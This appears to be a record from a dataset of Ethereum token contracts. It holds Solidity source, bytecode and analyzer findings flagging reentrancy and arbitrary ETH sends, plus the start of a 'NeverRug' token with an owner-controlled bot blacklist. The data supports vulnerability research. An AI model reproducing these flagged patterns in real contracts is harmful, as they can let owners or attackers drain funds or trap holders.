(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063dd62ed3e14610399578063ed995307146103d657610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612c15565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127a7565b61042a565b60405161016d9190612bfa565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612d77565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612758565b610458565b6040516101d59190612bfa565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906126ca565b610531565b005b34801561021357600080fd5b5061021c610621565b6040516102299190612dec565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612824565b61062a565b005b34801561026757600080fd5b506102706106dc565b005b34801561027e57600080fd5b50610299600480360381019061029491906126ca565b61074e565b6040516102a69190612d77565b60405180910390f35b3480156102bb57600080fd5b506102c461079f565b005b3480156102d257600080fd5b506102db6108f2565b6040516102e89190612b2c565b60405180910390f35b3480156102fd57600080fd5b5061030661091b565b6040516103139190612c15565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127a7565b610958565b6040516103509190612bfa565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906127e3565b610976565b005b34801561038e57600080fd5b50610397610ac6565b005b3480156103a557600080fd5b506103c060048036038101906103bb919061271c565b610b40565b6040516103cd9190612d77565b60405180910390f35b3480156103e257600080fd5b506103eb610bc7565b005b60606040518060400160405280601081526020017f42652042696c6c696f6e20546f6b656e00000000000000000000000000000000815250905090565b600061043e610437611129565b8484611131565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104658484846112fc565b61052684610471611129565b6105218560405180606001604052806028815260200161345e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d7611129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c89092919063ffffffff16565b611131565b600190509392505050565b610539611129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bd90612cf7565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610632611129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690612cf7565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071d611129565b73ffffffffffffffffffffffffffffffffffffffff161461073d57600080fd5b600047905061074b81611a2c565b50565b6000610798600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b27565b9050919050565b6107a7611129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b90612cf7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4242000000000000000000000000000000000000000000000000000000000000815250905090565b600061096c610965611129565b84846112fc565b6001905092915050565b61097e611129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612cf7565b60405180910390fd5b60005b8151811015610ac257600160066000848481518110610a56577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aba9061308d565b915050610a0e565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b07611129565b73ffffffffffffffffffffffffffffffffffffffff1614610b2757600080fd5b6000610b323061074e565b9050610b3d81611b95565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bcf611129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390612cf7565b60405180910390fd5b601160149054906101000a900460ff1615610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d3b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611131565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8157600080fd5b505afa158015610d95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db991906126f3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1b57600080fd5b505afa158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5391906126f3565b6040518363ffffffff1660e01b8152600401610e70929190612b47565b602060405180830381600087803b158015610e8a57600080fd5b505af1158015610e9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec291906126f3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f4b3061074e565b600080610f566108f2565b426040518863ffffffff1660e01b8152600401610f7896959493929190612b99565b6060604051808303818588803b158015610f9157600080fd5b505af1158015610fa5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fca9190612876565b5050506001601160166101000a81548160ff0219169083151502179055506000601160176101000a81548160ff021916908315150217905550670de0b6b3a76400006012819055506001601160146101000a81548160ff02191690831515021790555042601381905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110d3929190612b70565b602060405180830381600087803b1580156110ed57600080fd5b505af1158015611101573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611125919061284d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119890612d57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611211576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120890612c77565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112ef9190612d77565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612d37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390612c37565b60405180910390fd5b6000811161141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141690612d17565b60405180910390fd5b60006114296108f2565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561149757506114676108f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561190b57600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115405750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61154957600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115f45750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561164a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172c5761025860135461165f9190612ead565b4210156116765760125482111561167557600080fd5b5b60009050601160179054906101000a900460ff161561172b5742600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116da57600080fd5b6014426116e79190612ead565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117d75750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561182d5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611847576000600a819055506014600b81905550600190505b60006118523061074e565b9050601160159054906101000a900460ff161580156118bf5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118d75750601160169054906101000a900460ff165b156119095760008111156118ef576118ee81611b95565b5b600047905060008111156119075761190647611a2c565b5b505b505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119ac5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119b657600090505b6119c284848484611e8f565b50505050565b6000838311158290611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a079190612c15565b60405180910390fd5b5060008385611a1f9190612f8e565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a7c600284611ebc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611aa7573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611af8600284611ebc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b23573d6000803e3d6000fd5b5050565b6000600854821115611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590612c57565b60405180910390fd5b6000611b78611f06565b9050611b8d8184611ebc90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bf3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c215781602001602082028036833780820191505090505b5090503081600081518110611c5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d0157600080fd5b505afa158015611d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3991906126f3565b81600181518110611d73577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dda30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611131565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e3e959493929190612d92565b600060405180830381600087803b158015611e5857600080fd5b505af1158015611e6c573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b80611e9d57611e9c611f31565b5b611ea8848484611f74565b80611eb657611eb561213f565b5b50505050565b6000611efe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612153565b905092915050565b6000806000611f136121b6565b91509150611f2a8183611ebc90919063ffffffff16565b9250505090565b6000600a54148015611f4557506000600b54145b15611f4f57611f72565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080611f8687612215565b955095509550955095509550611fe486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122c790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120c581612325565b6120cf84836123e2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161212c9190612d77565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000808311829061219a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121919190612c15565b60405180910390fd5b50600083856121a99190612f03565b9050809150509392505050565b600080600060085490506000670de0b6b3a764000090506121ea670de0b6b3a7640000600854611ebc90919063ffffffff16565b82101561220857600854670de0b6b3a7640000935093505050612211565b81819350935050505b9091565b60008060008060008060008060006122328a600a54600b5461241c565b9250925092506000612242611f06565b905060008060006122558e8787876124b2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c8565b905092915050565b60008082846122d69190612ead565b90508381101561231b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231290612c97565b60405180910390fd5b8091505092915050565b600061232f611f06565b90506000612346828461253b90919063ffffffff16565b905061239a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122c790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123f78260085461227d90919063ffffffff16565b600881905550612412816009546122c790919063ffffffff16565b6009819055505050565b600080600080612448606461243a888a61253b90919063ffffffff16565b611ebc90919063ffffffff16565b905060006124726064612464888b61253b90919063ffffffff16565b611ebc90919063ffffffff16565b9050600061249b8261248d858c61227d90919063ffffffff16565b61227d90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124cb858961253b90919063ffffffff16565b905060006124e2868961253b90919063ffffffff16565b905060006124f9878961253b90919063ffffffff16565b9050600061252282612514858761227d90919063ffffffff16565b61227d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561254e57600090506125b0565b6000828461255c9190612f34565b905082848261256b9190612f03565b146125ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a290612cd7565b60405180910390fd5b809150505b92915050565b60006125c96125c484612e2c565b612e07565b905080838252602082019050828560208602820111156125e857600080fd5b60005b8581101561261857816125fe8882612622565b8452602084019350602083019250506001810190506125eb565b5050509392505050565b60008135905061263181613418565b92915050565b60008151905061264681613418565b92915050565b600082601f83011261265d57600080fd5b813561266d8482602086016125b6565b91505092915050565b6000813590506126858161342f565b92915050565b60008151905061269a8161342f565b92915050565b6000813590506126af81613446565b92915050565b6000815190506126c481613446565b92915050565b6000602082840312156126dc57600080fd5b60006126ea84828501612622565b91505092915050565b60006020828403121561270557600080fd5b600061271384828501612637565b91505092915050565b6000806040838503121561272f57600080fd5b600061273d85828601612622565b925050602061274e85828601612622565b9150509250929050565b60008060006060848603121561276d57600080fd5b600061277b86828701612622565b935050602061278c86828701612622565b925050604061279d868287016126a0565b9150509250925092565b600080604083850312156127ba57600080fd5b60006127c885828601612622565b92505060206127d9858286016126a0565b9150509250929050565b6000602082840312156127f557600080fd5b600082013567ffffffffffffffff81111561280f57600080fd5b61281b8482850161264c565b91505092915050565b60006020828403121561283657600080fd5b600061284484828501612676565b91505092915050565b60006020828403121561285f57600080fd5b600061286d8482850161268b565b91505092915050565b60008060006060848603121561288b57600080fd5b6000612899868287016126b5565b93505060206128aa868287016126b5565b92505060406128bb868287016126b5565b9150509250925092565b60006128d183836128dd565b60208301905092915050565b6128e681612fc2565b82525050565b6128f581612fc2565b82525050565b600061290682612e68565b6129108185612e8b565b935061291b83612e58565b8060005b8381101561294c57815161293388826128c5565b975061293e83612e7e565b92505060018101905061291f565b5085935050505092915050565b61296281612fd4565b82525050565b61297181613017565b82525050565b600061298282612e73565b61298c8185612e9c565b935061299c818560208601613029565b6129a581613163565b840191505092915050565b60006129bd602383612e9c565b91506129c882613174565b604082019050919050565b60006129e0602a83612e9c565b91506129eb826131c3565b604082019050919050565b6000612a03602283612e9c565b9150612a0e82613212565b604082019050919050565b6000612a26601b83612e9c565b9150612a3182613261565b602082019050919050565b6000612a49601783612e9c565b9150612a548261328a565b602082019050919050565b6000612a6c602183612e9c565b9150612a77826132b3565b604082019050919050565b6000612a8f602083612e9c565b9150612a9a82613302565b602082019050919050565b6000612ab2602983612e9c565b9150612abd8261332b565b604082019050919050565b6000612ad5602583612e9c565b9150612ae08261337a565b604082019050919050565b6000612af8602483612e9c565b9150612b03826133c9565b604082019050919050565b612b1781613000565b82525050565b612b268161300a565b82525050565b6000602082019050612b4160008301846128ec565b92915050565b6000604082019050612b5c60008301856128ec565b612b6960208301846128ec565b9392505050565b6000604082019050612b8560008301856128ec565b612b926020830184612b0e565b9392505050565b600060c082019050612bae60008301896128ec565b612bbb6020830188612b0e565b612bc86040830187612968565b612bd56060830186612968565b612be260808301856128ec565b612bef60a0830184612b0e565b979650505050505050565b6000602082019050612c0f6000830184612959565b92915050565b60006020820190508181036000830152612c2f8184612977565b905092915050565b60006020820190508181036000830152612c50816129b0565b9050919050565b60006020820190508181036000830152612c70816129d3565b9050919050565b60006020820190508181036000830152612c90816129f6565b9050919050565b60006020820190508181036000830152612cb081612a19565b9050919050565b60006020820190508181036000830152612cd081612a3c565b9050919050565b60006020820190508181036000830152612cf081612a5f565b9050919050565b60006020820190508181036000830152612d1081612a82565b9050919050565b60006020820190508181036000830152612d3081612aa5565b9050919050565b60006020820190508181036000830152612d5081612ac8565b9050919050565b60006020820190508181036000830152612d7081612aeb565b9050919050565b6000602082019050612d8c6000830184612b0e565b92915050565b600060a082019050612da76000830188612b0e565b612db46020830187612968565b8181036040830152612dc681866128fb565b9050612dd560608301856128ec565b612de26080830184612b0e565b9695505050505050565b6000602082019050612e016000830184612b1d565b92915050565b6000612e11612e22565b9050612e1d828261305c565b919050565b6000604051905090565b600067ffffffffffffffff821115612e4757612e46613134565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612eb882613000565b9150612ec383613000565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ef857612ef76130d6565b5b828201905092915050565b6000612f0e82613000565b9150612f1983613000565b925082612f2957612f28613105565b5b828204905092915050565b6000612f3f82613000565b9150612f4a83613000565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f8357612f826130d6565b5b828202905092915050565b6000612f9982613000565b9150612fa483613000565b925082821015612fb757612fb66130d6565b5b828203905092915050565b6000612fcd82612fe0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061302282613000565b9050919050565b60005b8381101561304757808201518184015260208101905061302c565b83811115613056576000848401525b50505050565b61306582613163565b810181811067ffffffffffffffff8211171561308457613083613134565b5b80604052505050565b600061309882613000565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130cb576130ca6130d6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61342181612fc2565b811461342c57600080fd5b50565b61343881612fd4565b811461344357600080fd5b50565b61344f81613000565b811461345a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bced6d598efa2cdd1d4d42d057e11c5a51576e8ff7a8f28758aadd638a940e1964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,163 |
0x4e2ae46fad1cb9f3e02a8cb50bdb2a031bf9e00b
|
/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
/*
Website: https://neverrug.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NeverRug is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistributionAddress;
uint256 private _feeAddr2;
address payable private _selfFundingAddress;
string private constant _name = "Never Rug";
string private constant _symbol = "NRUG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public openTradingTime;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_selfFundingAddress = payable(0xAcb8fA68ac11f07Fa8d381d6d1a80bFbc4CA586F);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_selfFundingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
